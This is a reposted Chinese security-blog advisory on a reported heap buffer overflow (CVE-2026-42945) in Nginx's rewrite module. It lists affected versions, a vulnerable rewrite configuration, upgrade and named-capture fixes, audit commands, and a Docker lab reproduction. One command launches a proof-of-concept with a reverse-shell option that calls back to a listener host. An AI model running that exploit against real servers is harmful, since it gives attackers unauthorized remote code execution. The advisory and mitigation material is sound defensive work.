Nginx致命漏洞CVE-2026-42945复现

admin 2026-05-20 04:51:53 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: NginxCVE-2026-42945是ngx_http_rewrite_module中的堆缓冲区溢出漏洞,攻击者可无需认证远程执行代码。影响0.6.27至1.30.0版本。建议立即升级至1.30.1/1.31.0+或使用命名捕获临时缓解,并通过nginx-v验证修复。 综合评分: 88 文章分类: 漏洞分析,漏洞预警,WEB安全,网络安全,安全运营


cover_image

Nginx 致命漏洞 CVE-2026-42945 复现

松杨网络安全资料库

2026年5月19日 16:54 广东

在小说阅读器读本章

去阅读

漏洞概述

2026 年 5 月,一个潜伏近 18 年的高危漏洞被正式披露。

Nginx ngx_http_rewrite_module 中存在一个堆缓冲区溢出漏洞,攻击者无需认证即可远程执行任意代码(RCE)。该漏洞影响范围极广,覆盖 Nginx 产品:开源版 OSS、企业版 Plus、云 WAF。


漏洞详情

| 项目 | 内容 | | — | — | | CVE 编号 | CVE-2026-42945 | | 漏洞名称 | Nginx-Rift | | 漏洞类型 | 堆缓冲区溢出(Heap Buffer Overflow) | | 影响组件 | ngx_http_rewrite_module | | 公开日期 | 2026 年 5 月 | | 影响版本 | NGINX OSS/Plus/WAF/Ingress Controller 0.6.27 ~ 1.30.0 | | 漏洞危害 | 远程代码执行(RCE),无需认证 |


影响范围

| 产品线 | 受影响版本 | 备注 | | — | — | — | | NGINX OSS | 0.6.27 ~ 1.30.0 | 开源版 | | NGINX Plus | R32 ~ R36 | 企业版 | | NGINX App Protect WAF | 4.9.0-4.16.0 5.1.0-5.8.0 | WAF 设备 |


漏洞原理

触发条件

当 rewrite 规则同时满足以下条件时会触发溢出:

  1. 使用未命名捕获$1$2
  2. 替换字符串中包含字符 ?
  3. 两遍处理对 ? 字符的转义逻辑不一致
  4. 同一 location / 上下文连续使用 rewrite + set 指令

漏洞配置示例

# 受影响的配置
location /users {
    rewrite ^/users/([0-9]+)/profile/(.*)$ /profile.php?id=$1&tab=$2 last;
}

漏洞修复

方案一:升级 Nginx(推荐)

| 版本分支 | 修复版本 | | — | — | | 1.30.x | 1.30.1及以上 | | 1.31.x | 1.31.0及以上 |

# Ubuntu / Debian
sudo apt update && sudo apt install nginx

# CentOS / RHEL
sudo yum update nginx

# 验证版本
nginx -v

方案二:修改 rewrite 配置(临时缓解)

将所有未命名捕获改为命名捕获:

# 修改前(存在漏洞)
rewrite ^/users/([0-9]+)/profile/(.*)$ /profile.php?id=$1&tab=$2 last;

# 修改后(安全)
rewrite ^/users/(?<user_id>[0-9]+)/profile/(?<tab>[^/]+)$ /profile.php?id=$user_id&tab=$tab last;

修复验证

# 检查当前版本
nginx -v
# nginx version: nginx/1.30.1 &nbsp;← 已修复

# 或检查编译信息
nginx -V 2>&1 | grep version

本地复现环境搭建

环境说明

复现环境使用 Docker 搭建,由漏洞作者提供的 Nginx-Rift 项目中的 docker-compose 配置,目标 Nginx 已编译为存在漏洞的版本,并禁用了 ASLR 以确保内存地址可预测。

步骤一:下载漏洞项目

git&nbsp;clone&nbsp;https://github.com/DepthFirstDisclosures/Nginx-Rift
cd&nbsp;Nginx-Rift

步骤二:启动 Docker 环境

cd&nbsp;env
docker compose build
docker compose up -d

注意:如果 Docker Hub 访问受限(国内网络),需要配置国内镜像加速:

# 编辑 ~/.docker/daemon.json
{
&nbsp;&nbsp;"registry-mirrors": [
&nbsp; &nbsp;&nbsp;"https://docker.1ms.run",
&nbsp; &nbsp;&nbsp;"https://docker.xuanyuan.me"
&nbsp; ]
}

修改后重启 Docker:sudo systemctl restart docker

步骤三:验证 Nginx 可访问

curl http://localhost:19321

漏洞验证

反弹 Shell 验证

python poc.py --host 192.168.59.128 --port 19321 --shell --listen-ip 192.168.59.129

POC利用漏洞成功截图


漏洞危害评估

风险场景

| 场景 | 风险等级 | 说明 | | — | — | — | | 公网暴露的 Nginx(直接可访问) | 极高 | 攻击者可直接 RCE,无需任何凭据 | | 仅内网可访问的 Nginx | | 需要内网渗透前置条件 | | 受 WAF/防火墙保护的 Nginx | | WAF 可检测部分攻击特征 | | 已升级到 1.30.1/1.31.0 | | 已修复,不受漏洞影响 |

排查命令

# 检查 Nginx 版本
nginx -v

# 检查所有运行中的 Nginx 实例版本
ps aux | grep nginx

# 检查是否存在 rewrite 规则(漏洞触发条件)
grep -r&nbsp;"rewrite"&nbsp;/etc/nginx/
grep -r&nbsp;"\$1\|\$2\|\$3"&nbsp;/etc/nginx/

  • 本文仅供安全研究和技术交流使用,请勿用于未授权的系统测试。

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:松杨网络安全资料库 《Nginx 致命漏洞 CVE-2026-42945 复现》

评论:0   参与:  0